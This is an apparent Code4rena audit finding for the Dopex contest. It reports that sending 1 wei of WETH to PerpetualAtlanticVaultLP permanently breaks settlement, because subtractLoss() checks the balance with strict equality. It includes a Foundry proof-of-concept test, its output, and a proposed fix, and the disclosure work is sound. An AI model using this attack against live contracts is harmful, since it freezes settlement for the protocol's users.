Platform: Code4rena
Start Date: 21/08/2023
Pot Size: $125,000 USDC
Total HM: 26
Participants: 189
Period: 16 days
Judge: GalloDaSballo
Total Solo HM: 3
Id: 278
League: ETH
Rank: 187/189
Findings: 1
Award: $0.01
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: klau5
Also found by: 0x3b, 0xCiphky, 0xDING99YA, 0xWaitress, 0xbranded, 0xc0ffEE, 0xklh, 0xsurena, 0xvj, ABA, AkshaySrivastav, Anirruth, Aymen0909, Baki, Blockian, BugzyVonBuggernaut, DanielArmstrong, Evo, GangsOfBrahmin, HChang26, Inspex, Jiamin, Juntao, Kow, Krace, KrisApostolov, LFGSecurity, LokiThe5th, Mike_Bello90, Norah, Nyx, QiuhaoLi, RED-LOTUS-REACH, SBSecurity, Snow24, SpicyMeatball, T1MOH, Tendency, Toshii, Udsen, Yanchuan, __141345__, ak1, asui, auditsea, ayden, bart1e, bin2chen, blutorque, carrotsmuggler, chaduke, chainsnake, circlelooper, clash, codegpt, crunch, degensec, dirk_y, ge6a, gjaldon, grearlake, jasonxiale, juancito, ke1caM, kodyvim, kutugu, ladboy233, lanrebayode77, mahdikarimi, max10afternoon, mert_eren, nirlin, nobody2018, oakcobalt, parsely, peakbolt, pks_, pontifex, ravikiranweb3, rokinot, rvierdiiev, said, savi0ur, sces60107, sh1v, sl1, spidy730, tapir, tnquanghuy0512, ubermensch, visualbits, volodya, wintermute
0.0098 USDC - $0.01
https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L315-L369
The substractLoss()
function of PerpetualAtlanticVaultLP is called in the settlement proccess of PerpetualAtlanticVault and can revert and cause DoS if the malicious user sends 1 wei of collateral to the PerpetualAtlanticVaultLP.
When calling settle()
in PerpetualAtlanticVault few actions are made:
collateralToken.safeTransferFrom( addresses.perpetualAtlanticVaultLP, addresses.rdpxV2Core, ethAmount );
substractLoss()
is invoked with ethAmount:IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss( ethAmount );
The root cause of the issues is that substractLoss()
uses strict equality in the require statement.
require(collateral.balanceOf(address(this)) == _totalCollateral - loss,"Not enough collateral was sent out");
So the assumtion is that collateral.balanceOf(address(this)) - ethAmount == _totalCollateral - ethAmount
.
But if prior to the settlement a malicious user transfers 1 wei of WETH to the PerpetualAtlanticVaultLP, this check will always fail since collateral.balanceOf(address(this)) - ethAmount > _totalCollateral - ethAmount
by 1 wei.
After that the settlement will be DoS'ed indefinetely since there is no way to sync the collateral.balanceOf(address(this))
to be equal to _totalCollateral
Only functions that can change _totalCollateral
variable are:
substractLoss
will always revert due to the require check. And both deposit()
and addProceeds()
won't solve the issue since when calling them they not only update _totalCollateral
by X amount but also update the collateral.balanceOf(address(this))
by the same X amount, so collateral.balanceOf(address(this))
is still greater than _totalCollateral
by 1 wei. redeem()
also won't help since it also updates both balance of the contract and _totalCollateral
by the same X amount.
I tweaked an existing testSettle function in /tests/rdpxV2-core/Unit.t.sol. I added some console outputs of the state: balance of the contract and _totalCollateral
to show how both of these two variable change.
Please consider adding my function to the file and running it with: forge test --match-test testSettleRevert -vv
function testSettleRevert() public { // Mint weth to a malicious user address maliciousUser = address(1); weth.mint(maliciousUser, 1000 * 1e18); // make bond rdpxV2Core.bond(5 * 1e18, 0, address(this)); rdpxV2Core.bond(1 * 1e18, 0, address(this)); vault.addToContractWhitelist(address(rdpxV2Core)); uint256[] memory _ids = new uint256[](1); _ids[0] = 0; rdpxPriceOracle.updateRdpxPrice(1e7); // the vault balance before attack console.log( "VaultLp Balance Before attack: ", weth.balanceOf(address(vaultLp)) ); console.log( "VaultLp _totalCollateral before Attack", vaultLp.totalCollateral() ); // send 1 wei to PerpetualAtlanticVaultLp vm.prank(maliciousUser); weth.transfer(address(vaultLp), 1); // balance after malicious user transfered 1 wei console.log( "VaultLp Balance After Attack: ", weth.balanceOf(address(vaultLp)) ); console.log( "VaultLp _totalCollateral after Attack", vaultLp.totalCollateral() ); // the settlement reverts due to the check in PerpetualAtlanticVaultLP vm.expectRevert("Not enough collateral was sent out"); rdpxV2Core.settle(_ids); // Skip 8 days to call PerpetualAtlanticVault.updateFundingPaymentPointer() to invoke addProceeds() skip(691200); vault.updateFundingPaymentPointer(); // The balance is now updated as well as collateral becuase of the addProceeds() function console.log( "VaultLp Balance After addProceeds() is called: ", weth.balanceOf(address(vaultLp)) ); console.log( "VaultLp _totalCollateral after addProceeds() is called", vaultLp.totalCollateral() ); vm.expectRevert("Not enough collateral was sent out"); // But the settle is still reverting rdpxV2Core.settle(_ids); // trying to use deposit to fix the issue vaultLp.deposit(1e18, address(msg.sender)); console.log( "VaultLp Balance After deposit() is called: ", weth.balanceOf(address(vaultLp)) ); console.log( "VaultLp _totalCollateral after deposit() is called", vaultLp.totalCollateral() ); vm.expectRevert("Not enough collateral was sent out"); // But the settle is still reverting rdpxV2Core.settle(_ids); }
The output of the state is as follows:
VaultLp Balance Before attack: 100000000000000000000 VaultLp _totalCollateral Before Attack 100000000000000000000 VaultLp Balance After Attack: 100000000000000000001 VaultLp _totalCollateral After Attack 100000000000000000000 VaultLp Balance After addProceeds() is called: 100367540499850000000 VaultLp _totalCollateral after addProceeds() is called 100367540499849999999 VaultLp Balance After deposit() is called: 101367540499850000000 VaultLp _totalCollateral after deposit() is called 101367540499849999999
As you can see _totalCollateral
is always 1 wei lesser than contract balance.
Manual Review
I would suggest removing this require check at all.
require(collateral.balanceOf(address(this)) == _totalCollateral - loss,"Not enough collateral was sent out");
Since substractLoss()
is only called by PerpetualAtlanticVault in settle()
and passed the same argument (ethAmount) that is used in this call:
collateralToken.safeTransferFrom(addresses.perpetualAtlanticVaultLP,addresses.rdpxV2Core,ethAmount);
, it's impossible to have a mismatch of contract balance and _totalCollateral
when substracting ethAmount that was transfered from the contract.
DoS
#0 - c4-pre-sort
2023-09-09T10:01:22Z
bytes032 marked the issue as duplicate of #619
#1 - c4-pre-sort
2023-09-11T16:15:14Z
bytes032 marked the issue as sufficient quality report
#2 - c4-judge
2023-10-20T19:35:36Z
GalloDaSballo marked the issue as satisfactory